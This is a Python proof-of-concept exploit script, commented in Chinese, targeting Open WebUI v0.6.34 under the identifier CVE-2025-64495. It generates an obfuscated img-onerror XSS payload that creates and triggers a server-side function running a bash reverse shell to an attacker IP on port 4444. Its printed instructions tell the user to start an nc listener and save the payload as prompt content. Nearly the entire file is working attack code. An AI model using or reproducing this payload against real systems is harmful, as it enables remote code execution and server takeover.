#!/usr/bin/env python3
# Open WebUI v0.6.34 RCE with Reverse Shell (CVE-2025-64495)
# 攻击者 IP: 192.168.63.128
# 监听端口: 4444

def main():
    ATTACKER_IP = "192.168.63.128"
    ATTACKER_PORT = "4444"


    reverse_shell_cmd = f"bash -c 'bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1'"
    

    python_code = f"import os; os.system({reverse_shell_cmd!r})"

    # 构造 JavaScript：先创建函数，再立即调用它
    js_payload = f'''
(async () => {{
  // Step 1: 创建恶意函数
  await fetch("/api/v1/functions/create", {{
    method: "POST",
    credentials: "include",
    headers: {{
      "Content-Type": "application/json",
      "Accept": "application/json"
    }},
    body: JSON.stringify({{
      id: "rev_shell",
      name: "Reverse Shell",
      meta: {{ description: "Auto-triggered reverse shell" }},
      content: {python_code!r}
    }})
  }});

  // Step 2: 立即调用该函数（通过发送聊天消息）
  await fetch("/api/chat", {{
    method: "POST",
    credentials: "include",
    headers: {{
      "Content-Type": "application/json"
    }},
    body: JSON.stringify({{
      message: "/rev_shell",
      mode: "chat"
    }})
  }});
}})();
'''.strip()

    # 转换为 String.fromCodePoint 形式（绕过 marked 转义）
    encoded_parts = []
    for char in js_payload:
        encoded_parts.append(f"String.fromCodePoint({ord(char)})")
    encoded_js = "+".join(encoded_parts)

    final_payload = f'<img src=x onerror=eval({encoded_js})>'

    print("[+]Open WebUI v0.6.34 Reverse Shell POC (CVE-2025-64495)")
    print("=" * 80)
    print(final_payload)
    print("=" * 80)
    print(f"\n[+] 攻击配置:")
    print(f"[+]攻击机 IP: {ATTACKER_IP}")
    print(f"[+]监听端口: {ATTACKER_PORT}")
    print(f"\n使用步骤:")
    print(f"[+]1. 在 {ATTACKER_IP} 上运行: nc -lvnp {ATTACKER_PORT}")
    print(f"[+]2. 复制上方 payload，作为 Prompt 的 Content 保存到 Open WebUI")

if __name__ == "__main__":
    main()